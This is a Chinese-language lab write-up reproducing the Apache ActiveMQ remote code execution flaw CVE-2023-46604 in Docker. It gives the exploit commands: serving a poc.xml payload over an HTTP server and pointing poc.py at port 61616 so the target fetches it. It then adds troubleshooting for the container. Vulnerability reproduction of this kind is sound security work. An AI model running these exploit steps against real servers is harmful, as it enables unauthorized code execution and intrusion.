CVE-2023-46604 Apache ActiveMQ 远程代码执行漏洞 (复现)

root身份打开CVE-2023-46604目录终端执行代码：

docker compose up -d启动容器

成功访问ip:8161端口，此漏洞核心在61616端口

漏洞目录下有poc.xml文件，启动 HTTP 反连服务器

python3 -m http.server 6666

执行漏洞利用脚本

python3 poc.py 192.168.75.132 61616 http://ip:6666/poc.xml

此时反连服务器会有响应即为成功！

漏洞验证

执行docker exec cve-2023-46604-activemq-1 ls -l /tmp

看到activeMQ-RCE-success



漏洞复现成功！

复现中遇到的问题(可能会出现)

最初我在运行python3 poc.py 192.168.75.132 61616 http://192.168.75.132:6666/poc.xml命令时，

出现ConnectionRefusedError: [Errno 111] Connection refused错误（说白了就是docker没正常运行），

逐一排查后总结原因如下

docker日志报错主要是java.lang.NullPointerException和/opt/activemq/bin/activemq: 1: ps: not found

解决方法：

docker compose down停止容器

编辑目录下的docker-compose.yml文件

在image和port中间添加一行command: sleep infinity

意思是临时改动启动命令，让容器启动后不退出

docker compose up -d启动容器

docker exec -it cve-2023-46604-activemq-1 /bin/sh进入docker容器的shell

apt-get update && apt-get install -y procps安装procps，Ubuntu默认安装

exit退出容器

把刚开始在docker-compose.yml文件下添加的command一行删除后

在文件里添加

environment:

- ACTIVEMQ_OPTS=-XX:-UseContainerSupport

强制禁用容器内的 cgroup 检测，避免触发空指针异常。

执行docker compose down

docker compose up -d重启容器

执行docker ps | grep activemq查看容器状态（应为UP）

执行docker logs cve-2023-46604-activemq-1查看日志（无报错）

重新成功执行python3 poc.py 192.168.75.132 61616 http://192.168.75.132:6666/poc.xml命令，

反连服务器会返回结果